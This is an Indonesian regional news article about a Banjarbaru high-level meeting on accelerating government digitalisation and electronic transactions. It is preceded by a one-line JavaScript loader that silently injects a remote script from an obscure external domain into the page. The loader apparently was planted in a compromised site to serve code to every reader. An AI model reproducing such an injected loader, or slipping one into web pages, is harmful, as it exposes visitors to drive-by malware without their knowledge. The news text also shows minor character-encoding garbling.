(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HLM Percepatan Perluasan Digitalisasi Daerah, Ini Kata Pjs Wali Kota Banjarbaru

KANALKALIMANTAN. COM, BANJARBARU – Pjs Wali Kota Banjarbaru Dra Hj Nurliani MAP menghadiri acara High Level Meeting (HLM) Percepatan & Perluasan Digitalisasi Daerah (P2DD) di aula Gawi Sabarataan Balai Kota Banjarbaru, Selasa (29/10/2024).

Pjs Wali Kota Banjarbaru Hj Nurliani menyambut baik pelaksanaan high level meeting merupakan salah satu implementasi dari peta jalan Elektronifikasi Transaksi Pemerintah Daerah (ETPD) tahun 2021-2025 untuk Kota Banjarbaru yang telah ditetapkan pada 2 Agustus 2021 dalam rangka mewujudkan program nasional percepatan dan perluasan digitalisasi daerah.

Pjs Wali Kota Hj Nurliani menyampaikan terima kasih kepada para narasumber yang berkenan memberikan materi pada hari ini baik dari Perwakilan Bank Indonesia (BI) Provinsi Kalsel, OJK Provinsi Kalsel, dan kepala Bank Kalsel Cabang Banjarbaru. Berharap kegiatan ini mampu memperkuat sinergisitas dalam mendukung percepatan, perluasan digitalisasi, dan penguatan akses keuangan untuk kemajuan dan kesejahteraan masyarakat Kota Banjarbaru.

“Tantangan yang menjadi catatan dalam capaian indeks ETPD adalahÂ peningkatan pemahaman petugas yang komprehensif di masing-masing SKPD terkait, mengenai sejauh mana implementasi ETPD diÂ Kota Banjarbaru untuk menjaga konsistensi dan ketersediaan data realisasi, serta integrasinya terhadap sistem informasi keuangan di Kota Banjarbaru,” bebernya.

Hal tersebut tentunya harus menjadi perhatian kita bersama terutama para kepala SKPD, agar ada peningkatan skor yang signifikan terhadap indeks ETPD bagi Pemerintah Kota Banjarbaru. Pjs Wali Kota meminta kepada seluruh kepala SKPD, Camat dan Lurah, terkait program digitalisasi hendaknya didukung dengan upaya sosialisasi dan edukasi kepada masyarakat. Agar pemanfaatan kanal non tunai dan digital bisa menjadi lebih optimal sehingga diharapkan nantinya akan berimplikasi positif pada meningkatnya pendapatan asli daerah serta transparansi dan akuntabilitas pengelolaan keuangan daerah.

“Sinergi dan kolaborasi seluruh pemangku kepentingan dapat lebih diperkuat, melalui perumusan inovasi program-program unggulan daerah, dengan tetap mengutamakan asas kemanfaatannya bagi kesejahteraan masyarakat,” tandasnya. (Kanalkalimantan.com/bie)

Reporter : bie
Editor : kk